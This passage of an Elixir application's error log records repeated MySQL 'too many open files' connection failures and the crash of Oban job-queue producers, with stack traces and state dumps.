    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:16:42.240642Z], limit: 50, uuid: "c485bdab-da52-45e7-8b59-0f3b1246140f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:42.240648Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.54061>, refresh_timer: #Reference<0.2525715032.1099431938.54056>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:00.555000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:01.546000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:02.334000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:03.682000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:04.083000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:06.077000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1025ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:16:54.240261Z], limit: 50, uuid: "fd4a1afe-75df-472d-ae7f-ee4c0e8f4877", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:54.240266Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.54361>, refresh_timer: #Reference<0.2525715032.1068498948.52367>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:06.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1064ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:16:54.239359Z], limit: 10, uuid: "41fcac2b-9407-4a00-9e29-d7391716951c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:54.239365Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.54358>, refresh_timer: #Reference<0.2525715032.1077673987.30965>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:06.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 858ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:16:54.240176Z], limit: 5, uuid: "473b3601-9b40-4770-9146-7f00c8569c8a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:54.240183Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.54360>, refresh_timer: #Reference<0.2525715032.1068498948.52363>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:06.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 861ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:16:54.238740Z], limit: 3, uuid: "2d7376a9-b588-4549-899c-82c7ef7aad5c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:54.238746Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.54359>, refresh_timer: #Reference<0.2525715032.1077673987.30974>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:06.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 816ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:16:54.239554Z], limit: 5, uuid: "d4a31015-1403-435f-8c55-fc87df4d441a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:54.239559Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.54362>, refresh_timer: #Reference<0.2525715032.1121189889.173068>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:06.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 999ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:16:54.239739Z], limit: 20, uuid: "dc2bb6a1-8f9a-4bac-afcb-930e0ceeb798", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:54.239744Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.54357>, refresh_timer: #Reference<0.2525715032.1077673987.30982>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:06.502000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:08.239000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:11.693000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:13.843000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1004ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:17:06.238321Z], limit: 50, uuid: "3cc204d7-5f1e-4d2a-895a-76a7b73fd8b0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:06.238328Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.173448>, refresh_timer: #Reference<0.2525715032.1121189889.173360>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:18.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1020ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:17:06.239964Z], limit: 5, uuid: "a073c12f-1653-4bf6-81d8-d1d22bee5b55", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:06.239970Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.173451>, refresh_timer: #Reference<0.2525715032.1099431938.54544>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:18.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
